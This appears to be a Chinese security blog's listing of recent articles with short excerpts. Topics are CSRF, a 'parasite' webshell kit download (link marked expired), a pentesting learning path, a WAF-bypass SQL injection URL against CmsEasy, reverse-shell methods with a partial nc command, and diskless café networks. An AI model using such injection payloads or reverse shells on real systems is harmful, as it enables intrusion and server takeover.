最新文章：

  • 从零开始学CSRF

      为什么要拿CSRF来当“攻击手法系列”的开头篇呢？因为CSRF/XSRF我个人喜爱他的程度已经超过XSS了。如果说XSS是一个老虎，那么CSRF就是隐藏在暗处的蛇。‍‍‍‍‍‍‍‍相信现在很多人不明白CSRF是怎么运作，他和XSS的不同是在哪里。我这里就逐步为大家解释，并从浅入深的介绍CSRF。‍‍‍‍入门‍‍‍‍‍‍‍‍我们先来看看CSRF和X...

    1. 吐槽：0
    2. 5-31

  • 2015最新版本寄生虫asp+php版本

      已失效http://pan.baidu.com/s/1i3eTL6d     5785

    1. 吐槽：0
    2. 5-31

  • 新手入门进阶渗透工程师

      学习流程1.初步了解网站的sql注入以及sql注入的原理sql注入分为get注入 数字型注入post注入 按钮事件cookies注入当前事件2.初识通用cms以及getshelldedecmsaspcmsakcmsdiscuzphpwebshopexphpcms科讯cms齐博cms亿邮cms等等3.初识提权以及熟练exp提权s...

    1. 吐槽：4
    2. 5-30

  • webscan360防御绕过(select union)

      代码就不看了 直接看今天我们 发送url：这是我们上一次的：http://localhost/CmsEasy_t/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT@`typeid`,2,3,concat(ve...

    1. 吐槽：0
    2. 5-30

  • 反弹Linux得到shell的正确方式

      很多时候我们不能简简单单地利用nc反弹得到一个命令行shell比如那台服务器在内网而且没有nc更有甚者连编译器都没有所以连自己编译nc都难以做到我最近遇到的一台内网中的hpux就存在如上情况下面是解决方案1.NETCATwithGAPING_SECURITY_HOLEenabled:(存在-e选项)TARGET:nc192.168.1.13380...

    1. 吐槽：0
    2. 5-30

  • 无盘网络的工作原理

      无盘网络的工作原理 总的来说，无盘工作站的启动机制如下。首先由网卡的启动芯片(BootROM，有些网卡的启动程序已嵌入主板的BIOS中，无需启动芯片)以不同的形式向服务器发出启动请求号，服务器收到后，根据不同的机制，向工作站发送启动数据，工作站下载完启动数据后，系统控制权由BootROM转到内存中的某些特定区域，并引导操作系统。&nbs...

    1. 吐槽：0
    2. 5-30

  • 无盘100台网吧方案简析

      无盘100台网吧方案，仅供参考 以下是小弟多年做网维的一点点经验，在这里与大家一起分享，还望大家勇跃提供更好的建议。服务器　　主板：5500芯片组　　内存：16G　　处理器：至强四核　　电源：500W服务器电源　　机箱：服务器4U（3风墙）　　阵列卡：二代SAS(使用SAS盘需要配此设备)(方案1)　　INTEL80GMLCSSD*1&...

    1. 吐槽：0
    2. 5-30